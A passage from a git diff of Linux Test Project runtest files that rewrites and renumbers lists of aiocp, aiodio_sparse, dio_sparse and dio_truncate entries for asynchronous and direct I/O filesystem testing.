$TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD137 time aiocp -b 64k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD138 time aiocp -b 64k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD139 time aiocp -b 64k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD140 time aiocp -b 64k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD141 time aiocp -b 64k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD142 time aiocp -b 64k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD143 time aiocp -b 64k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD144 time aiocp -b 64k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD145 time aiocp -b 64k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD146 time aiocp -b 64k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD147 time aiocp -b 64k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD148 time aiocp -b 64k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD149 time aiocp -b 64k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD150 time aiocp -b 64k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD151 time aiocp -b 128k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD152 time aiocp -b 128k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD153 time aiocp -b 128k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD154 time aiocp -b 128k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD155 time aiocp -b 128k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD156 time aiocp -b 128k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD157 time aiocp -b 128k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD158 time aiocp -b 128k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD159 time aiocp -b 128k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD160 time aiocp -b 128k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD161 time aiocp -b 128k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD162 time aiocp -b 12k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD163 time aiocp -b 128k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD164 time aiocp -b 128k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD165 time aiocp -b 128k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD166 time aiocp -b 128k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD167 time aiocp -b 128k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD168 time aiocp -b 128k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD169 time aiocp -b 128k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD170 time aiocp -b 128k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD171 time aiocp -b 128k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD172 time aiocp -b 256k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD173 time aiocp -b 256k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD174 time aiocp -b 256k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD175 time aiocp -b 256k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD176 time aiocp -b 256k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD177 time aiocp -b 256k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD178 time aiocp -b 256k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD179 time aiocp -b 256k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD180 time aiocp -b 256k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD181 time aiocp -b 256k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD182 time aiocp -b 256k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD183 time aiocp -b 256k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD184 time aiocp -b 256k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD185 time aiocp -b 256k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD186 time aiocp -b 256k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD187 time aiocp -b 256k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD188 time aiocp -b 256k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD189 time aiocp -b 256k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD190 time aiocp -b 256k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD191 time aiocp -b 256k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD192 time aiocp -b 256k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD193 time aiocp -b 512k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD194 time aiocp -b 512k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD195 time aiocp -b 512k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD196 time aiocp -b 512k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD197 time aiocp -b 512k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD198 time aiocp -b 512k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD199 time aiocp -b 512k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD200 time aiocp -b 512k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD201 time aiocp -b 512k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD202 time aiocp -b 512k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD203 time aiocp -b 512k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD204 time aiocp -b 512k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD205 time aiocp -b 512k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD206 time aiocp -b 512k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD207 time aiocp -b 512k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD208 time aiocp -b 512k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD209 time aiocp -b 512k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD210 time aiocp -b 512k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD211 time aiocp -b 512k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD212 time aiocp -b 512k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD213 time aiocp -b 512k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD301 aiocp -b 128k -n 32 -f CREAT -f DIRECT $TMPDIR/aiodio.$$/fff $TMPDIR/aiodio.$$/junkdir/fff -AD302 aiocp -b 128k -n 32 -f CREAT -f DIRECT $TMPDIR/aiodio.$$/ff1 $TMPDIR/aiodio.$$/junkdir/ff1 -AD303 aiocp -b 128k -n 32 -f CREAT -f DIRECT $TMPDIR/aiodio.$$/ff2 $TMPDIR/aiodio.$$/junkdir/ff2 -AD304 aiocp -b 128k -n 32 -f CREAT -f DIRECT $TMPDIR/aiodio.$$/ff3 $TMPDIR/aiodio.$$/junkdir/ff3 +AD001 aiocp -b 1k -n 1 -f DIRECT +AD002 aiocp -b 1k -n 1 -f SYNC +AD003 aiocp -b 1k -n 2 -f DIRECT +AD004 aiocp -b 1k -n 2 -f SYNC +AD005 aiocp -b 1k -n 4 -f DIRECT +AD006 aiocp -b 1k -n 4 -f SYNC +AD007 aiocp -b 1k -n 8 -f DIRECT +AD008 aiocp -b 1k -n 8 -f SYNC +AD009 aiocp -b 1k -n 16 -f DIRECT +AD010 aiocp -b 1k -n 16 -f SYNC +AD011 aiocp -b 1k -n 32 -f DIRECT +AD012 aiocp -b 1k -n 32 -f SYNC +AD013 aiocp -b 1k -n 64 -f DIRECT +AD014 aiocp -b 1k -n 64 -f SYNC +AD015 aiocp -b 2k -n 1 -f DIRECT +AD016 aiocp -b 2k -n 1 -f SYNC +AD017 aiocp -b 2k -n 2 -f DIRECT +AD018 aiocp -b 2k -n 2 -f SYNC +AD019 aiocp -b 2k -n 4 -f DIRECT +AD020 aiocp -b 2k -n 4 -f SYNC +AD021 aiocp -b 2k -n 8 -f DIRECT +AD022 aiocp -b 2k -n 8 -f SYNC +AD023 aiocp -b 2k -n 16 -f DIRECT +AD024 aiocp -b 2k -n 16 -f SYNC +AD025 aiocp -b 2k -n 32 -f DIRECT +AD026 aiocp -b 2k -n 32 -f SYNC +AD027 aiocp -b 2k -n 64 -f DIRECT +AD028 aiocp -b 2k -n 64 -f SYNC +AD029 aiocp -b 4k -n 1 -f DIRECT +AD030 aiocp -b 4k -n 1 -f SYNC +AD031 aiocp -b 4k -n 2 -f DIRECT +AD032 aiocp -b 4k -n 2 -f SYNC +AD033 aiocp -b 4k -n 4 -f DIRECT +AD034 aiocp -b 4k -n 4 -f SYNC +AD035 aiocp -b 4k -n 8 -f DIRECT +AD036 aiocp -b 4k -n 8 -f SYNC +AD037 aiocp -b 4k -n 16 -f DIRECT +AD038 aiocp -b 4k -n 16 -f SYNC +AD039 aiocp -b 4k -n 32 -f DIRECT +AD040 aiocp -b 4k -n 32 -f SYNC +AD041 aiocp -b 4k -n 64 -f DIRECT +AD042 aiocp -b 4k -n 64 -f SYNC +AD043 aiocp -b 8k -n 1 -f DIRECT +AD044 aiocp -b 8k -n 1 -f SYNC +AD045 aiocp -b 8k -n 2 -f DIRECT +AD046 aiocp -b 8k -n 2 -f SYNC +AD047 aiocp -b 8k -n 4 -f DIRECT +AD048 aiocp -b 8k -n 4 -f SYNC +AD049 aiocp -b 8k -n 8 -f DIRECT +AD050 aiocp -b 8k -n 8 -f SYNC +AD051 aiocp -b 8k -n 16 -f DIRECT +AD052 aiocp -b 8k -n 16 -f SYNC +AD053 aiocp -b 8k -n 32 -f DIRECT +AD054 aiocp -b 8k -n 32 -f SYNC +AD055 aiocp -b 8k -n 64 -f DIRECT +AD056 aiocp -b 8k -n 64 -f SYNC +AD057 aiocp -b 16k -n 1 -f DIRECT +AD058 aiocp -b 16k -n 1 -f SYNC +AD059 aiocp -b 16k -n 2 -f DIRECT +AD060 aiocp -b 16k -n 2 -f SYNC +AD061 aiocp -b 16k -n 4 -f DIRECT +AD062 aiocp -b 16k -n 4 -f SYNC +AD063 aiocp -b 16k -n 8 -f DIRECT +AD064 aiocp -b 16k -n 8 -f SYNC +AD065 aiocp -b 16k -n 16 -f DIRECT +AD066 aiocp -b 16k -n 16 -f SYNC +AD067 aiocp -b 16k -n 32 -f DIRECT +AD068 aiocp -b 16k -n 32 -f SYNC +AD069 aiocp -b 16k -n 64 -f DIRECT +AD070 aiocp -b 16k -n 64 -f SYNC +AD071 aiocp -b 32k -n 1 -f DIRECT +AD072 aiocp -b 32k -n 1 -f SYNC +AD073 aiocp -b 32k -n 2 -f DIRECT +AD074 aiocp -b 32k -n 2 -f SYNC +AD075 aiocp -b 32k -n 4 -f DIRECT +AD076 aiocp -b 32k -n 4 -f SYNC +AD077 aiocp -b 32k -n 8 -f DIRECT +AD078 aiocp -b 32k -n 8 -f SYNC +AD079 aiocp -b 32k -n 16 -f DIRECT +AD080 aiocp -b 32k -n 16 -f SYNC +AD081 aiocp -b 32k -n 32 -f DIRECT +AD082 aiocp -b 32k -n 32 -f SYNC +AD083 aiocp -b 32k -n 64 -f DIRECT +AD084 aiocp -b 32k -n 64 -f SYNC +AD085 aiocp -b 64k -n 1 -f DIRECT +AD086 aiocp -b 64k -n 1 -f SYNC +AD087 aiocp -b 64k -n 2 -f DIRECT +AD088 aiocp -b 64k -n 2 -f SYNC +AD089 aiocp -b 64k -n 4 -f DIRECT +AD090 aiocp -b 64k -n 4 -f SYNC +AD091 aiocp -b 64k -n 8 -f DIRECT +AD092 aiocp -b 64k -n 8 -f SYNC +AD093 aiocp -b 64k -n 16 -f DIRECT +AD094 aiocp -b 64k -n 16 -f SYNC +AD095 aiocp -b 64k -n 32 -f DIRECT +AD096 aiocp -b 64k -n 32 -f SYNC +AD097 aiocp -b 64k -n 64 -f DIRECT +AD098 aiocp -b 64k -n 64 -f SYNC +AD099 aiocp -b 128k -n 1 -f DIRECT +AD100 aiocp -b 128k -n 1 -f SYNC +AD101 aiocp -b 128k -n 2 -f DIRECT +AD102 aiocp -b 128k -n 2 -f SYNC +AD103 aiocp -b 128k -n 4 -f DIRECT +AD104 aiocp -b 128k -n 4 -f SYNC +AD105 aiocp -b 128k -n 8 -f DIRECT +AD106 aiocp -b 128k -n 8 -f SYNC +AD107 aiocp -b 128k -n 16 -f DIRECT +AD108 aiocp -b 128k -n 16 -f SYNC +AD109 aiocp -b 128k -n 32 -f DIRECT +AD110 aiocp -b 128k -n 32 -f SYNC +AD111 aiocp -b 128k -n 64 -f DIRECT +AD112 aiocp -b 128k -n 64 -f SYNC +AD113 aiocp -b 256k -n 1 -f DIRECT +AD114 aiocp -b 256k -n 1 -f SYNC +AD115 aiocp -b 256k -n 2 -f DIRECT +AD116 aiocp -b 256k -n 2 -f SYNC +AD117 aiocp -b 256k -n 4 -f DIRECT +AD118 aiocp -b 256k -n 4 -f SYNC +AD119 aiocp -b 256k -n 8 -f DIRECT +AD120 aiocp -b 256k -n 8 -f SYNC +AD121 aiocp -b 256k -n 16 -f DIRECT +AD122 aiocp -b 256k -n 16 -f SYNC +AD123 aiocp -b 256k -n 32 -f DIRECT +AD124 aiocp -b 256k -n 32 -f SYNC +AD125 aiocp -b 256k -n 64 -f DIRECT +AD126 aiocp -b 256k -n 64 -f SYNC +AD127 aiocp -b 512k -n 1 -f DIRECT +AD128 aiocp -b 512k -n 1 -f SYNC +AD129 aiocp -b 512k -n 2 -f DIRECT +AD130 aiocp -b 512k -n 2 -f SYNC +AD131 aiocp -b 512k -n 4 -f DIRECT +AD132 aiocp -b 512k -n 4 -f SYNC +AD133 aiocp -b 512k -n 8 -f DIRECT +AD134 aiocp -b 512k -n 8 -f SYNC +AD135 aiocp -b 512k -n 16 -f DIRECT +AD136 aiocp -b 512k -n 16 -f SYNC +AD137 aiocp -b 512k -n 32 -f DIRECT +AD138 aiocp -b 512k -n 32 -f SYNC +AD139 aiocp -b 512k -n 64 -f DIRECT +AD140 aiocp -b 512k -n 64 -f SYNC diff --git a/runtest/ltp-aiodio.part2 b/runtest/ltp-aiodio.part2 index bed5841b..599c9fd2 100755 --- a/runtest/ltp-aiodio.part2 +++ b/runtest/ltp-aiodio.part2 @@ -1,84 +1,83 @@ ADSP000 aiodio_sparse ADSP001 aiodio_sparse -s 180k -ADSP002 aiodio_sparse -dd -s 1751k -w 11k -ADSP003 aiodio_sparse -i 9 -d -s 180k -w 18k -ADSP004 aiodio_sparse -i 2 -a 2k -w 2k -s 4k -n 2 -ADSP005 aiodio_sparse -i 2 -a 4k -w 4k -s 8k -n 2 -ADSP006 aiodio_sparse -i 2 -a 4k -w 4k -s 8k -n 2 -ADSP007 aiodio_sparse -i 4 -a 8k -w 8k -s 32k -n 2 -ADSP008 aiodio_sparse -i 4 -a 8k -w 16k -s 64k -n 2 -ADSP009 aiodio_sparse -i 4 -a 8k -w 32k -s 128k -n 2 -ADSP010 aiodio_sparse -i 4 -a 8k -w 64k -s 256k -n 2 -ADSP011 aiodio_sparse -i 4 -a 8k -w 128k -s 512k -n 2 -ADSP012 aiodio_sparse -i 4 -a 8k -w 256k -s 1024k -n 2 -ADSP013 aiodio_sparse -i 4 -a 8k -w 512k -s 2048k -n 2 -ADSP014 aiodio_sparse -i 4 -a 8k -w 1024k -s 4096k -n 2 -ADSP015 aiodio_sparse -i 4 -a 8k -w 2048k -s 8192k -n 2 -ADSP016 aiodio_sparse -i 4 -a 8k -w 4096k -s 16384k -n 2 -ADSP017 aiodio_sparse -i 4 -a 8k -w 8192k -s 32768k -n 2 -ADSP018 aiodio_sparse -i 4 -a 8k -w 16384k -s 65536k -n 2 -ADSP019 aiodio_sparse -i 4 -a 8k -w 16384k -s 65536k -n 4 -ADSP020 aiodio_sparse -i 4 -a 8k -w 16384k -s 65536k -n 6 -ADSP021 aiodio_sparse -i 4 -a 8k -w 128k -s 512k -n 6 -ADSP022 aiodio_sparse -i 4 -a 8k -w 256k -s 1024k -n 6 -ADSP023 aiodio_sparse -i 4 -a 8k -w 512k -s 2048k -n 6 -ADSP024 aiodio_sparse -i 4 -a 8k -w 1024k -s 4096k -n 6 -ADSP025 aiodio_sparse -i 4 -a 8k -w 2048k -s 8192k -n 6 -ADSP026 aiodio_sparse -i 4 -a 8k -w 4096k -s 16384k -n 6 -ADSP027 aiodio_sparse -i 4 -a 8k -w 18192k -s 72768k -n 6 -ADSP028 aiodio_sparse -i 4 -a 8k -w 18192k -s 518192k -n 6 -ADSP029 aiodio_sparse -i 4 -a 8k -w 65536k -s 262144k -n 6 -ADSP030 aiodio_sparse -i 6 -a 8k -w 65536k -n 6 -ADSP031 aiodio_sparse -i 8 -a 8k -w 128k -s 1024k -n 6 -ADSP032 aiodio_sparse -i 16 -a 8k -w 256k -s 4096k -n 6 -ADSP033 aiodio_sparse -i 32 -a 8k -w 512k -s 16384k -n 6 -ADSP034 aiodio_sparse -i 64 -a 8k -w 1024k -s 65536k -n 6 -ADSP035 aiodio_sparse -i 4 -a 8k -w 4096k -s 16384k -n 32 -ADSP036 aiodio_sparse -i 4 -a 8k -w 4096k -s 16384k -n 64 -ADSP037 aiodio_sparse -i 4 -a 8k -w 18192k -s 72768k -n 128 -ADSP038 aiodio_sparse -i 4 -a 8k -w 18192k -n 512 -ADSP039 aiodio_sparse -i 4 -a 8k -w 18192k -n 1000 -ADSP040 dio_sparse -ADSP041 dio_sparse -s 180k -ADSP042 dio_sparse -s 1751k -w 11k -ADSP043 dio_sparse -s 180k -w 18k -ADSP044 dio_sparse -w 2k -s 2k -n 2 -ADSP045 dio_sparse -w 4k -s 2k -n 2 -ADSP046 dio_sparse -w 4k -s 4k -n 2 -ADSP047 dio_sparse -w 16k -s 16k -n 2 -ADSP048 dio_sparse -w 32k -s 32k -n 2 -ADSP049 dio_sparse -w 64k -s 64k -n 2 -ADSP050 dio_sparse -w 128k -s 128k -n 2 -ADSP051 dio_sparse -w 256k -s 256k -n 2 -ADSP052 dio_sparse -w 512k -s 512k -n 2 -ADSP053 dio_sparse -w 1024k -s 1024k -n 2 -ADSP054 dio_sparse -w 2048k -s 2048k -n 2 -ADSP055 dio_sparse -w 4096k -s 4096k -n 2 -ADSP056 dio_sparse -w 8192k -s 8192k -n 2 -ADSP057 dio_sparse -w 18192k -s 18192k -n 2 -ADSP058 dio_sparse -w 518192k -s 518192k -n 2 -ADSP059 dio_sparse -w 58192k -s 58192k -n 4 -ADSP060 dio_sparse -w 58192k -s 58192k -n 6 -ADSP061 dio_sparse -w 256k -s 256k -n 6 -ADSP062 dio_sparse -w 512k -s 512k -n 6 -ADSP063 dio_sparse -w 1024k -s 1024k -n 6 -ADSP064 dio_sparse -w 2048k -s 2048k -n 6 -ADSP065 dio_sparse -w 2048k -s 4096k -n 6 -ADSP066 dio_sparse -w 8192k -s 8192k -n 6 -ADSP067 dio_sparse -w 18192k -s 18192k -n 6 -ADSP068 dio_sparse -w 58192k -s 518192k -n 6 -ADSP069 dio_sparse -w 518192k -s 518192k -n 6 -ADSP070 dio_sparse -w 1024k -s 2048k -n 6 -ADSP071 dio_sparse -w 4096k -s 4096k -n 32 -ADSP072 dio_sparse -w 8192k -s 8192k -n 64 -ADSP073 dio_sparse -w 518192k -s 18192k -n 128 -ADSP074 dio_sparse -w 518192k -s 518192k -n 512 -ADSP075 dio_sparse -w 518192k -s 518192k -n 1000 -ADSP076 dio_sparse -w 4k -s 2k -o 2k -n 2 -ADSP077 dio_sparse -w 2k -s 1k -o 1k -n 2 -ADSP078 dio_sparse -w 1k -s 512 -o 512 -n 2 -ADSP079 dio_sparse -w 4k -s 2k -o 3k -n 2 -ADSP080 dio_sparse -w 4k -s 4k -o 4k -n 2 -ADSP081 dio_sparse -w 4k -s 4k -o 6k -n 2 -ADSP082 dio_sparse -w 4k -s 4k -o 8k -n 2 -ADSP083 dio_sparse -w 16k -s 8k -o 8k -n 2 +ADSP002 aiodio_sparse -s 1751k -w 11k +ADSP003 aiodio_sparse -o 9 -s 180k -w 18k +ADSP004 aiodio_sparse -o 2 -w 2k -s 4k -n 2 +ADSP005 aiodio_sparse -o 2 -w 4k -s 8k -n 2 +ADSP006 aiodio_sparse -o 4 -w 8k -s 32k -n 2 +ADSP007 aiodio_sparse -o 4 -w 16k -s 64k -n 2 +ADSP008 aiodio_sparse -o 4 -w 32k -s 128k -n 2 +ADSP009 aiodio_sparse -o 4 -w 64k -s 256k -n 2 +ADSP010 aiodio_sparse -o 4 -w 128k -s 512k -n 2 +ADSP011 aiodio_sparse -o 4 -w 256k -s 1024k -n 2 +ADSP012 aiodio_sparse -o 4 -w 512k -s 2048k -n 2 +ADSP013 aiodio_sparse -o 4 -w 1024k -s 4096k -n 2 +ADSP014 aiodio_sparse -o 4 -w 2048k -s 8192k -n 2 +ADSP015 aiodio_sparse -o 4 -w 4096k -s 16384k -n 2 +ADSP016 aiodio_sparse -o 4 -w 8192k -s 32768k -n 2 +ADSP017 aiodio_sparse -o 4 -w 16384k -s 65536k -n 2 +ADSP018 aiodio_sparse -o 4 -w 16384k -s 65536k -n 4 +ADSP019 aiodio_sparse -o 4 -w 16384k -s 65536k -n 6 +ADSP020 aiodio_sparse -o 4 -w 128k -s 512k -n 6 +ADSP021 aiodio_sparse -o 4 -w 256k -s 1024k -n 6 +ADSP022 aiodio_sparse -o 4 -w 512k -s 2048k -n 6 +ADSP023 aiodio_sparse -o 4 -w 1024k -s 4096k -n 6 +ADSP024 aiodio_sparse -o 4 -w 2048k -s 8192k -n 6 +ADSP025 aiodio_sparse -o 4 -w 4096k -s 16384k -n 6 +ADSP026 aiodio_sparse -o 4 -w 18192k -s 72768k -n 6 +ADSP027 aiodio_sparse -o 4 -w 18192k -s 518192k -n 6 +ADSP028 aiodio_sparse -o 4 -w 65536k -s 262144k -n 6 +ADSP029 aiodio_sparse -o 6 -w 65536k -n 6 +ADSP030 aiodio_sparse -o 8 -w 128k -s 1024k -n 6 +ADSP031 aiodio_sparse -o 16 -w 256k -s 4096k -n 6 +ADSP032 aiodio_sparse -o 32 -w 512k -s 16384k -n 6 +ADSP033 aiodio_sparse -o 64 -w 1024k -s 65536k -n 6 +ADSP034 aiodio_sparse -o 4 -w 4096k -s 16384k -n 32 +ADSP035 aiodio_sparse -o 4 -w 4096k -s 16384k -n 64 +ADSP036 aiodio_sparse -o 4 -w 18192k -s 72768k -n 128 +ADSP037 aiodio_sparse -o 4 -w 18192k -n 512 +ADSP038 aiodio_sparse -o 4 -w 18192k -n 1000 +ADSP039 dio_sparse +ADSP040 dio_sparse -s 180k +ADSP041 dio_sparse -s 1751k -w 11k +ADSP042 dio_sparse -s 180k -w 18k +ADSP043 dio_sparse -w 2k -s 2k -n 2 +ADSP044 dio_sparse -w 4k -s 2k -n 2 +ADSP045 dio_sparse -w 4k -s 4k -n 2 +ADSP046 dio_sparse -w 16k -s 16k -n 2 +ADSP047 dio_sparse -w 32k -s 32k -n 2 +ADSP048 dio_sparse -w 64k -s 64k -n 2 +ADSP049 dio_sparse -w 128k -s 128k -n 2 +ADSP050 dio_sparse -w 256k -s 256k -n 2 +ADSP051 dio_sparse -w 512k -s 512k -n 2 +ADSP052 dio_sparse -w 1024k -s 1024k -n 2 +ADSP053 dio_sparse -w 2048k -s 2048k -n 2 +ADSP054 dio_sparse -w 4096k -s 4096k -n 2 +ADSP055 dio_sparse -w 8192k -s 8192k -n 2 +ADSP056 dio_sparse -w 18192k -s 18192k -n 2 +ADSP057 dio_sparse -w 518192k -s 518192k -n 2 +ADSP058 dio_sparse -w 58192k -s 58192k -n 4 +ADSP059 dio_sparse -w 58192k -s 58192k -n 6 +ADSP060 dio_sparse -w 256k -s 256k -n 6 +ADSP061 dio_sparse -w 512k -s 512k -n 6 +ADSP062 dio_sparse -w 1024k -s 1024k -n 6 +ADSP063 dio_sparse -w 2048k -s 2048k -n 6 +ADSP064 dio_sparse -w 2048k -s 4096k -n 6 +ADSP065 dio_sparse -w 8192k -s 8192k -n 6 +ADSP066 dio_sparse -w 18192k -s 18192k -n 6 +ADSP067 dio_sparse -w 58192k -s 518192k -n 6 +ADSP068 dio_sparse -w 518192k -s 518192k -n 6 +ADSP069 dio_sparse -w 1024k -s 2048k -n 6 +ADSP070 dio_sparse -w 4096k -s 4096k -n 32 +ADSP071 dio_sparse -w 8192k -s 8192k -n 64 +ADSP072 dio_sparse -w 518192k -s 18192k -n 128 +ADSP073 dio_sparse -w 518192k -s 518192k -n 512 +ADSP074 dio_sparse -w 518192k -s 518192k -n 1000 +ADSP075 dio_sparse -w 4k -s 2k -o 2k -n 2 +ADSP076 dio_sparse -w 2k -s 1k -o 1k -n 2 +ADSP077 dio_sparse -w 1k -s 512 -o 512 -n 2 +ADSP078 dio_sparse -w 4k -s 2k -o 3k -n 2 +ADSP079 dio_sparse -w 4k -s 4k -o 4k -n 2 +ADSP080 dio_sparse -w 4k -s 4k -o 6k -n 2 +ADSP081 dio_sparse -w 4k -s 4k -o 8k -n 2 +ADSP082 dio_sparse -w 16k -s 8k -o 8k -n 2 diff --git a/runtest/ltp-aiodio.part4 b/runtest/ltp-aiodio.part4 index 54019d47..c31bef93 100755 --- a/runtest/ltp-aiodio.part4 +++ b/runtest/ltp-aiodio.part4 @@ -56,11 +56,9 @@ ADI007 dio_append ADI008 dio_append ADI009 dio_append #Running dio_truncate -DIT000 dio_truncate +DIT000 dio_truncate -n 1 DIT001 dio_truncate DIT002 dio_truncate -#Running read_checkzero -#gread_checkzero #Running dio_read DOR000 dio_read -n 1 -i 100 